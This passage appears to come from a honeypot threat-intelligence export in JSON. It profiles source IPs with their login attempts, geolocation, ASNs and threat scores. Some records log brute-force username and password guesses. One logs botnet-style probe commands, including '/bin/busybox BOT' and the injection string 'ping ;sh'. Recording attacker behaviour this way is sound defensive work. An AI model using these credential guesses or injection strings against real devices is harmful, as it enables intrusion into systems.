      "last_seen": "2026-04-05T09:14:41.409Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1qaz2wsx#",
        "8ik,@@",
        "root2024#"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 4.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T08:38:15.530000+00:00",
        "last_seen_30d": "2026-04-05T09:15:45.595000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 10
      }
    },
    "94.175.91.93": {
      "attack_count": 14,
      "first_seen": "2026-04-16T04:57:45.003Z",
      "last_seen": "2026-04-16T04:59:24.326Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Cambridge",
      "asn": 5089,
      "as_org": "Virgin Media",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T04:57:45.003000+00:00",
        "last_seen_30d": "2026-04-16T05:01:01.859000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 13
      }
    },
    "14.103.107.29": {
      "attack_count": 12,
      "first_seen": "2026-04-28T12:32:34.983Z",
      "last_seen": "2026-04-28T13:21:12.629Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root!QAZ@WSX"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 24.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T12:32:34.983000+00:00",
        "last_seen_30d": "2026-04-28T13:31:15.612000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 8
      }
    },
    "2.57.122.190": {
      "attack_count": 12,
      "first_seen": "2026-04-05T16:03:32.549Z",
      "last_seen": "2026-04-30T22:03:21.145Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 46.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.2,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T16:03:32.549000+00:00",
        "last_seen_30d": "2026-04-30T22:04:27.114000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "180.245.55.249": {
      "attack_count": 11,
      "first_seen": "2026-04-01T13:54:43.529Z",
      "last_seen": "2026-04-01T13:55:46.173Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "enable",
        "root",
        "shell"
      ],
      "passwords_attempted": [
        "anko",
        "sh",
        "system"
      ],
      "commands_executed": [
        "linuxshell",
        "/bin/busybox BOT",
        "ping ;sh"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T13:54:43.529000+00:00",
        "last_seen_30d": "2026-04-01T13:56:49.043000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 11,
        "Suricata": 1
      }
    },
    "181.115.208.45": {
      "attack_count": 10,
      "first_seen": "2026-04-27T22:24:07.575Z",
      "last_seen": "2026-04-27T22:24:22.220Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Aa4226391.",
        "beetroot123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bolivia",
      "country_code": "BO",
      "city": "Santa Cruz de la Sierra",
      "asn": 6568,
      "as_org": "EMPRESA NACIONAL DE TELECOMUNICACIONES SOCIEDAD ANONIMA",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T22:24:07.575000+00:00",
        "last_seen_30d": "2026-04-27T22:25:30.160000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "213.169.44.220": {
      "attack_count": 10,
      "first_seen": "2026-04-22T14:34:37.508Z",
      "last_seen": "2026-04-24T05:36:43.643Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test"
      ],
      "passwords_attempted": [
        "changeme",
        "qazwsx1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": "Sofia",
      "asn": 8717,
      "as_org": "A1 Bulgaria EAD",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T14:34:37.508000+00:00",
        "last_seen_30d": "2026-04-24T05:37:52.164000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "192.42.116.97": {
      "attack_count": 8,
      "first_seen": "2026-04-26T20:33:32.448Z",
      "last_seen": "2026-04-26T20:33:54.469Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T20:33:32.448000+00:00",
        "last_seen_30d": "2026-04-26T20:34:58.833000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "206.135.161.185": {
      "attack_count": 8,
      "first_seen": "2026-04-07T10:18:01.652Z",
      "last_seen": "2026-04-07T10:18:54.049Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 5.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T10:18:01.652000+00:00",
        "last_seen_30d": "2026-04-07T10:20:00.954000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "207.154.198.77": {
      "attack_count": 7,
      "first_seen": "2026-04-27T17:09:26.802Z",
      "last_seen": "2026-04-27T17:09:27.373Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 61.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.6,
        "persistence": 5.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 114,
        "days_active_30d": 7,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-24T13:22:50+00:00",
        "last_seen_30d": "2026-04-30T11:13:29.388000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 76,
        "Honeytrap": 31,
        "Cowrie": 7
      }
    },
    "40.119.41.94": {
      "attack_count": 7,
      "first_seen": "2026-04-01T04:35:54.624Z",
      "last_seen": "2026-04-01T04:36:04.625Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 71.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.7,
        "persistence": 24.2,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 29,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T04:35:54.624000+00:00",
        "last_seen_30d": "2026-04-29T14:56:21.563000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 25,
        "Cowrie": 7,
        "Honeytrap": 4,
        "H0neytr4p": 1
      }
    },
    "66.132.172.33": {
      "attack_count": 6,
      "first_seen": "2026-04-30T20:31:07.857Z",
      "last_seen": "2026-04-30T20:31:50.075Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 87.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 160,
        "days_active_30d": 30,
        "ports_targeted_30d": 47,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T06:19:01+00:00",
        "last_seen_30d": "2026-04-30T22:27:36.686000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 93,
        "Honeytrap": 57,
        "Cowrie": 6,
        "ElasticPot": 4
      }
    },
    "66.132.195.119": {
      "attack_count": 6,
      "first_seen": "2026-04-29T01:46:48.934Z",
      "last_seen": "2026-04-29T01:47:23.479Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 75.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.2,
        "persistence": 22.5,
        "diversity": 18,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 27,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-03T17:36:51+00:00",
        "last_seen_30d": "2026-04-29T01:48:33.244000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 31,
        "Honeytrap": 8,
        "ElasticPot": 7,
        "Cowrie": 6
      }
    },
    "66.240.236.116": {
      "attack_count": 6,
      "first_seen": "2026-04-24T16:23:49.541Z",
      "last_seen": "2026-04-29T21:44:43.386Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 92.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 189,
        "days_active_30d": 30,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T22:55:12+00:00",
        "last_seen_30d": "2026-04-30T23:39:56.339000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 125,
        "Redishoneypot": 24,
        "Honeytrap": 17,
        "Dionaea": 13,
        "Cowrie": 6,
        "Tanner": 2,
        "ElasticPot": 1,
        "H0neytr4p": 1
      }
    },
    "80.94.92.13": {
      "attack_count": 6,
      "first_seen": "2026-04-12T19:37:32.745Z",
      "last_seen": "2026-04-12T19:37:43.096Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 33.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 2.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3198,
        "days_active_30d": 3,
        "ports_targeted_30d": 1017,
        "honeypots_triggered_30d": 13,
        "first_seen_30d": "2026-04-11T11:56:34.230000+00:00",
        "last_seen_30d": "2026-04-13T00:17:33.403000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2209,
        "Honeytrap": 936,
        "Dionaea": 10,
        "ConPot": 8,
        "Redishoneypot": 8,
        "Cowrie": 6,
        "CitrixHoneypot": 4,
        "ElasticPot": 4,
        "H0neytr4p": 4,
        "Tanner": 4,
        "Dicompot": 2,
        "Honeyaml": 2,
        "Miniprint": 1
      }
    },
    "103.171.69.90": {
      "attack_count": 5,
      "first_seen": "2026-04-28T23:15:13.019Z",
      "last_seen": "2026-04-28T23:15:14.989Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "info"
      ],
      "passwords_attempted": [
        "admin123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 142627,
      "as_org": "Multilink International",
      "threat_score": 20.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T23:15:13.019000+00:00",
        "last_seen_30d": "2026-04-28T23:16:18.119000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "64.62.156.38": {
      "attack_count": 5,
      "first_seen": "2026-04-05T08:49:27.870Z",
      "last_seen": "2026-04-17T05:05:23.472Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 256,
        "days_active_30d": 30,
        "ports_targeted_30d": 72,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T00:14:20+00:00",
        "last_seen_30d": "2026-04-30T06:22:23.036000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 156,
        "Honeytrap": 86,
        "Cowrie": 5,
        "Tanner": 3,
        "Adbhoney": 2,
        "ConPot": 2,
        "CitrixHoneypot": 1,
        "ElasticPot": 1
      }
    },
    "174.129.71.167": {
      "attack_count": 4,
      "first_seen": "2026-04-13T00:57:35.922Z",
      "last_seen": "2026-04-13T00:57:40.364Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 60.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 13.0,
        "persistence": 17.5,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 21,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-10T01:00:03+00:00",
        "last_seen_30d": "2026-04-30T01:00:18.224000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 4,
        "Honeytrap": 3,
        "Tanner": 2
      }
    },
    "195.184.76.37": {
      "attack_count": 4,
      "first_seen": "2026-04-07T20:03:12.346Z",
      "last_seen": "2026-04-07T20:03:12.852Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 81.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.8,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 29,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T12:20:33+00:00",
        "last_seen_30d": "2026-04-29T00:28:19.018000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 56,
        "Honeytrap": 34,
        "Cowrie": 4,
        "ConPot": 2
      }
    },
    "198.235.24.251": {
      "attack_count": 4,
      "first_seen": "2026-04-08T10:25:24.254Z",
      "last_seen": "2026-04-08T10:25:27.963Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 79.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.2,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 131,
        "days_active_30d": 26,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-02T00:23:47+00:00",
        "last_seen_30d": "2026-04-27T23:19:37.006000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 85,
        "Honeytrap": 35,
        "Mailoney": 5,
        "Cowrie": 4,
        "Sentrypeer": 1,
        "Tanner": 1
      }
    },
    "205.210.31.254": {
      "attack_count": 4,
      "first_seen": "2026-04-28T16:28:45.761Z",
      "last_seen": "2026-04-28T16:28:49.556Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 78.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.8,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 27,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-03T00:38:53+00:00",
        "last_seen_30d": "2026-04-29T21:34:17.811000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 52,
        "Honeytrap": 19,
        "Cowrie": 4,
        "Wordpot": 1
      }
    },
    "205.210.31.42": {
      "attack_count": 4,
      "first_seen": "2026-04-23T16:37:00.351Z",
      "last_seen": "2026-04-23T16:37:03.593Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 108,
        "days_active_30d": 30,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T23:22:23+00:00",
        "last_seen_30d": "2026-04-30T09:27:36.115000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 74,
        "Honeytrap": 28,
        "Cowrie": 4,
        "ElasticPot": 1,
        "Honeyaml": 1
      }
    },
    "34.53.189.10": {
      "attack_count": 4,
      "first_seen": "2026-04-30T07:36:35.319Z",
      "last_seen": "2026-04-30T07:36:38.371Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 21.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T07:36:35.319000+00:00",
        "last_seen_30d": "2026-04-30T07:37:38.952000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "98.84.188.17": {
      "attack_count": 4,
      "first_seen": "2026-04-15T00:53:44.376Z",
      "last_seen": "2026-04-15T00:53:52.075Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 28.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 9.2,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 11,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-09T00:51:15.115000+00:00",
        "last_seen_30d": "2026-04-19T00:57:16.752000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 4,
        "Honeytrap": 3
      }
    },
    "138.124.181.144": {
      "attack_count": 3,
      "first_seen": "2026-04-16T18:50:50.604Z",
      "last_seen": "2026-04-16T18:51:52.023Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T18:50:50.604000+00:00",
        "last_seen_30d": "2026-04-16T18:53:01.518000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "152.42.237.224": {
      "attack_count": 3,
      "first_seen": "2026-04-16T22:07:00.778Z",
      "last_seen": "2026-04-16T22:07:00.779Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 37.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.0,
        "persistence": 5.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 79,
        "days_active_30d": 7,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-10T12:28:54.665000+00:00",
        "last_seen_30d": "2026-04-16T22:08:13.893000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 57,
        "Honeytrap": 17,
        "Cowrie": 3,
        "CitrixHoneypot": 1,
